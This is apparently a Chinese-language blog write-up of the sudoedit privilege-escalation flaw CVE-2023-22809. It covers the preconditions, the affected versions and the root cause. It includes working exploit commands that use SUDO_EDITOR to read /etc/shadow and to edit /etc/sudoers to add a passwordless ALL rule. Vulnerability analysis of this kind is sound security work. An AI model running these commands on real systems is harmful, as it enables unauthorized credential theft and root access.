序
2023年爆出提权漏洞CVE-2023-22809,一开始看到很多文章对这个漏洞的介绍描述感觉挺严重的,适用范围广、利用难度低,CVSS评分给到了7.8。但我仔细分析发现该漏洞限制挺多的,其实并没有那么好用。
1、sudo提权简介
sudo 全称 Substitute User and Do,用来临时赋予root权限运行某个程序。
sudo执行原理:
普通用户执行命令时,首先检查/var/run/sudo/目录下是否有用户时间戳,centos检查/var/db/sudo/目录,并检查是否过期。如果时间戳过期,就需要输入当前用户的密码。输入后检查/etc/sudoers配置文件,查看用户是否有sudo权限,如果有执行sudo命令并返回结果,然后退出sudo返回到普通用户的shell环境。
普通用户添加sudo权限
1、添加进入sudo组
1 | usermod -a -G sudo steven<username> |
2、修改 /etc/sudoers 文件
1 | ... |
常规用户使用sudo命令需要当前用户密码可以在/etc/sudoers
文件中添加
1 | <username> ALL=(ALL) NOPASSWD:ALL |
即可无需账户密码直接使用sudo执行命令了
2、CVE-2023-22809
经过研究该漏洞比较鸡肋,要利用该漏洞需要满足以下条件:
1、当前用户需要可以使用 sudo 来执行 sudoedit, 需要/etc/sudoers 有相应的设置,例如以下配置。
1 | hello ALL=(ALL:ALL) sudoedit /etc/xml |
2、需要知道当前用户账户密码。
3、漏洞影响范围:1.8.0 ~ 1.9.12p1
2.1、漏洞复现
漏洞环境:
1、添加普通用户hello,并添加sudo
执行sudoedit
权限
1 | hello ALL=(ALL:ALL) sudoedit /etc/xml(/etc/xml位置可以替换为任意可执行的文件(例如:/etc/vim等) |
2、执行以下命令,执行需要输入hello
用户的密码
1 | SUDO_EDITOR='cat -- /etc/shadow' sudoedit /etc/xml |
如果能够读取/etc/shadow
成功就表明漏洞存在
如果出现以下提示,说明漏洞已经修复:
1 | sudoedit: editor arguments may not contain "--" |
3、如果想要提权使用可以使用以下命令修改
1 | SUDO_EDITOR='nano -- /etc/sudoers' sudoedit /etc/xml |
在里面添加以下命令,即可让hello无需输入账户密码无限制的使用sudo权限了。
1 | hello ALL=(ALL) NOPASSWD:ALL |
2.2、漏洞原理
简单来说就是sudoedit 可以根据 EDITOR、VISUAL 和 SUDO_EDITOR 环境变量来指定编辑器,如果编辑器的参数中包含 “–” , “–” 会被替换成文件名,导致可以越权访问文件及提升本地权限。
比如SUDO_EDITOR='cat -- /etc/shadow' sudoedit /etc/xml
该命令最终解析的结果其实为:
1 | cat -- /etc/shadow -- /etc/xml |
2.3、参考文章
CVE-2023-22809(sudoedit 权限提升漏洞)分析
https://anxinsec.com/zh-cn/about-us/news/0390.html
- 本文作者: EASY
- 本文链接: http://example.com/2024/01/12/CVE-2023-22809-Linux提权漏洞分析/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!